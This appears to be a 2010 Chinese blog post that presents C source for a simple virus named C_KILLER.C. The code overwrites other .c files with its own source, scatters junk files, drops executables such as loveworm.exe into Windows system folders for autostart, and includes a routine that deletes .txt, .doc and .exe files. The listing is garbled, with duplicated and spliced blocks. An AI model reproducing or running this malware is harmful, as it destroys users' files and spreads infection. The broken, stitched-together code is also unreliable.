作者在 2010-04-11 20:26:27 发布以下内容
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*感染其它c文件*/
void copyfile(char *infile, char *outfile)
{
FILE *in,*out;
in = fopen(infile,"r");
out = fopen(outfile,"w");
while (!feof(in))
{
fputc(fgetc(in),out);
}
fclose(in);
fclose(out);
}
/*制造一些垃圾文件*/
void MakeRubbish()
{
int i;
FILE *fp;
char *path;
char *NewName;
char *disk[7] = {"A","B","C","D","E","F","G"};
char *addtion = ":\\";
for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX" ;
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*感染其它c文件*/
void copyfile(char *infile, char *outfile)
{
FILE *in,*out;
in = fopen(infile,"r");
out = fopen(outfile,"w");
while (!feof(in))
{
fputc(fgetc(in),out);
}
fclose(in);
fclose(out);
}
/*制造一些垃圾文件*/
void MakeRubbish()
{
int i;
FILE *fp;
char *path;
char *NewName;
char *disk[7] = {"A","B","C","D","E","F","G"};
char *addtion = ":\\";
for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX" ;
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}
path = strcat(disk[getdisk()],addtion);
chdir(path);
for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX";
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}
}
/*在系统敏感部位放上一些干扰文件,开机自动启动*/
void CreatEXE()
{
int i;
char *path;
char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};
chdir(path);
for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX";
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}
}
/*在系统敏感部位放上一些干扰文件,开机自动启动*/
void CreatEXE()
{
int i;
char *path;
char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};
for ( i = 0; i < 2; i++)
{
open(s, 0x0100,0x0080);
copyfile( "C_KILLER.C",s);
}
}
{
open(s, 0x0100,0x0080);
copyfile( "C_KILLER.C",s);
}
}
/* 删除一些文件*/
void Remove()
{
int done;
int i;
struct ffblk ffblk;
char *documenttype[3] = {"*.txt","*.doc","*.exe"};
for (i = 0; i < 3; i++)
{
done = findfirst(documenttype,&ffblk,2);
while (!done)
{
remove(ffblk.ff_name);
done = findnext(&ffblk);
}
}
}
/*判断文件是否被感染过,如果没有,则调用感染模块*/
void Breed()
{
int done;
struct ffblk ffblk;
done = findfirst("*.c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done = findnext(&ffblk);
}
}
void Remove()
{
int done;
int i;
struct ffblk ffblk;
char *documenttype[3] = {"*.txt","*.doc","*.exe"};
for (i = 0; i < 3; i++)
{
done = findfirst(documenttype,&ffblk,2);
while (!done)
{
remove(ffblk.ff_name);
done = findnext(&ffblk);
}
}
}
/*判断文件是否被感染过,如果没有,则调用感染模块*/
void Breed()
{
int done;
struct ffblk ffblk;
done = findfirst("*.c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done = findnext(&ffblk);
}
}
void main()
{
printf("Oh shit.\n\n");
Breed();
// Remove();
CreatEXE();
printf("Where are you from?\n\n");
getchar();
puts("按任意键,你会得到一个一想不到的结果!\n\n") ;
getchar();
MakeRubbish();
puts("告诉我你的名字,送给你一个礼物。");
getchar();
clrscr();
puts(" ***");
puts(" * *");
puts(" * *");
puts(" * *");
puts(" * *");
puts(" * *");
puts(" * @ @ *");
puts(" * *");
puts(" * *");
puts(" * ++ *");
puts(" * *");
puts(" * *");
puts(" * *");
puts(" * ##### *");
puts(" * *");
puts(" * *");
puts(" * * * * ");
puts(" * *");
puts(" * * ");
puts(" * *");
puts(" *");
puts(" * *");
puts(" * *");
puts(" * *");
puts(" \n\n\n 哈哈!你中毒了!!!!!!!!!");
getchar();
clrscr();
system("cmd");
}
{
printf("Oh shit.\n\n");
Breed();
// Remove();
CreatEXE();
printf("Where are you from?\n\n");
getchar();
puts("按任意键,你会得到一个一想不到的结果!\n\n") ;
getchar();
MakeRubbish();
puts("告诉我你的名字,送给你一个礼物。");
getchar();
clrscr();
puts(" ***");
puts(" * *");
puts(" * *");
puts(" * *");
puts(" * *");
puts(" * *");
puts(" * @ @ *");
puts(" * *");
puts(" * *");
puts(" * ++ *");
puts(" * *");
puts(" * *");
puts(" * *");
puts(" * ##### *");
puts(" * *");
puts(" * *");
puts(" * * * * ");
puts(" * *");
puts(" * * ");
puts(" * *");
puts(" *");
puts(" * *");
puts(" * *");
puts(" * *");
puts(" \n\n\n 哈哈!你中毒了!!!!!!!!!");
getchar();
clrscr();
system("cmd");
}